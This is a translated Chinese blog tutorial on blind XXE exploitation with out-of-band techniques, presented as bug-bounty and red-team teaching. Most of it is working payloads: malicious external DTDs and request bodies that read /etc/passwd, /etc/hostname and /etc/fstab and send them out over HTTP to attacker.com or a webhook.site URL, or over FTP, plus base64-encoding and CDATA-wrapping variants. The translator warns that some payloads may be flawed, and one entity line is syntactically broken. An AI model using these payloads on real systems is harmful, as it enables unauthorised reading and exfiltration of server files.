译者注: 本文为翻译文章,这篇文章基本涵盖了盲XXE比较少见的问题的解决方案,值得细看。
hi,大家好! 本篇文章将介绍高级XXE攻击,需要使用带外交互技术来带出敏感数据。如果你想要学习更多关于基础XXE攻击向量,请继续阅读本文。
服务器可能接受Body中的XML数据,但是它不一定总是会在响应中返回值。但是,如果您仍然认为应用可能容易受到XXE攻击,OAST则可以作为验证的选择。
要触发带外交互,你必须定义一个外部实体,如下所示
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com">] >
然后,您将在XML文档的数据值部分使用已经定义的实体。如果这个应用程序容易受到攻击,服务器则要发送一个http请求到您的URL。攻击可以监视DNS查找和http请求来说明攻击成功了。
您可以使用burp-collaborator来生成您的URL。
当收到来自易受攻击的服务器的交互时,burp协作者的屏幕如下所示:
但是,burp collaborator客户端仅在burp专业版中可用,并且可以通过burp-> burp collaborator client进行访问。
您可能会发现常规实体被阻止的例子,这可能是由于某些输入检查或者强化了XML解析器级别所导致的。在这种情况下,您可以使用XML参数实体。
这些是特殊类型的XML实体,只能在DTD中引用。
<!ENTITY % paramentity "my test value">
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe; ]>
要检验的您的学习状态,可以遵循portswigger实验
在平台上测试时,只要简单将其表示为错误就足够了,但是如果敏感数据能够被提取,则你可以大大地提高这个漏洞的影响力。
创建恶意DTD
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://webhook.site/b16e2541-f40a-4641-9e12-286439217267/?x=%file;'>">
%eval;
%exfil;
这是存储在某处的恶意DTD文件。例如,portwigger的漏洞利用服务器
在对易受攻击的应用程序的请求中,必须提供到存储漏洞利用的服务器的URL。
这里,参数实体被用于泄露数据。这是在实体内定义实体的示例,参数化实体%file在%eval中被引用。因此,/etc/hostname的内容添加为请求的一部分,并发送给攻击者。当请求被接收时,我们就能查看到主机名。
主机名是一小段文字,因此很容易检索。但是,如果是较大的文件呢,如/etc/passwd
。它还有各种各样的坏字符会破坏您的http请求。在这个情况下,最简单的解决方案是对有效负载进行base64编码。
让我们看看如何做到这一点。
在http://attacker.com/xxe.dtd上创建一个外部DTD
<!ENTITY % all "<!ENTITY % req SYSTEM 'https://webhook.site/b16e2541-f40a-4641-9e12-286439217267/%file;'>">
在易受攻击的应用程序中:
POST /vuln
Host: 1.1.1.1
User-Agent: ....
Content-Length: 123
<?xml version=1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/xxe.dtd">
<!-- load dtd file -->
%dtd;
<!-- Resolve the nested external entity -->
%all;
<!-- resolve the external entity req along with file reference -->
%req;
]>
<app>
<user>foo</user>
<pass>bar</pass>
这将会发送携带base64编码的/etc/passwd
的内容的get请求。然后可以进一步解码以获得原始的文件内容。
但是等一下!!!,这里可能存在由于base64编码的字符串太长而无法作为http请求一部分的来发送的情况。 反馈会说URI太长。
您可以通过使用FTP来泄露数据。这解决了http坏字符的限制。因此,文件无需编码即可传输
要在http://attacker.com/xxe.dtd上创建的外部dtd
<!ENTITY $ file SYSTEM "file:///etc/passwd">
<!ENTITY % req "<!ENTITY abc SYSTEM 'ftp://x.x.x.x:1212/%file; '>">
请求Body
<?xml version=1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/xxe.dtd">
%dtd;
%req;
]>
<foo>
&abc;
</foo>
本文到这里已经涵盖了许多不同的技术。现在只剩下一种情况。
译者注: 上面的原文的payload可能存在一些问题,读者需要自行调试下。
当正在进行红队任务时,你不会止步于仅仅发现漏洞。有时,您需要挖掘更多信息。XML文件(例如tomcat-users.xml)就是一个需要挖掘的点。但是使用XXE检索xml/dtd文件时会存在问题。xml文档内的标签将由解析器解析,并将完全改变其含义,这将导致该攻击不会生效。因此我们需要一种不解析XML文档的方法(应该将其视为纯文本文档)
这就是CDATA概念的缘由。
默认情况下,所有内容都是PCDATA,此关键字指定元素必须包含可解析的数据- < , > , &, ‘ , “
因此,如果您不想要解析您的XML,请将其包含在CDATA中,让我们看看如何做到这一点。
<?xml version="1.0"?> <foo> <bar><![CDATA[<abc>myContent</abc>]]></bar> </foo>
这将会打印<abc> myContent </ abc>
结果。
让我们快速了解如何检索XML数据。
创建一个外部dtd为
<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY content '%start;%file;%end;'>">
对应用的请求:
POST http://example.com/xml HTTP/1.1 <!DOCTYPE data [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; %all; ]> <data>&content;</data>
首先,调用%dtd,服务器向http://attacker.com/evil.dtd发出请求,下载玩dtd之后,解析器加载dtd,然后加载%file,被%start; and %end;包装在CDATA中的参数实体。最后,%all存放在%start; 到 %end捕获到的内容。一个通用的实体内容正在被定义,该内容可以作为对攻击者响应的一部分。这个场景是结果是反映在响应中的,。所以在对盲XXE进行盲注时,请使用OAST的语法。
这就是这篇博客文章的所有内容,期待在下一篇文章与你相遇。
在那之前,祝福你快乐地挖掘漏洞。
本文为翻译文章,原文链接:https://shreyapohekar.com/blogs/blind-xxe-attacks-out-of-band-interaction-techniques-oast-to-exfilterate-data/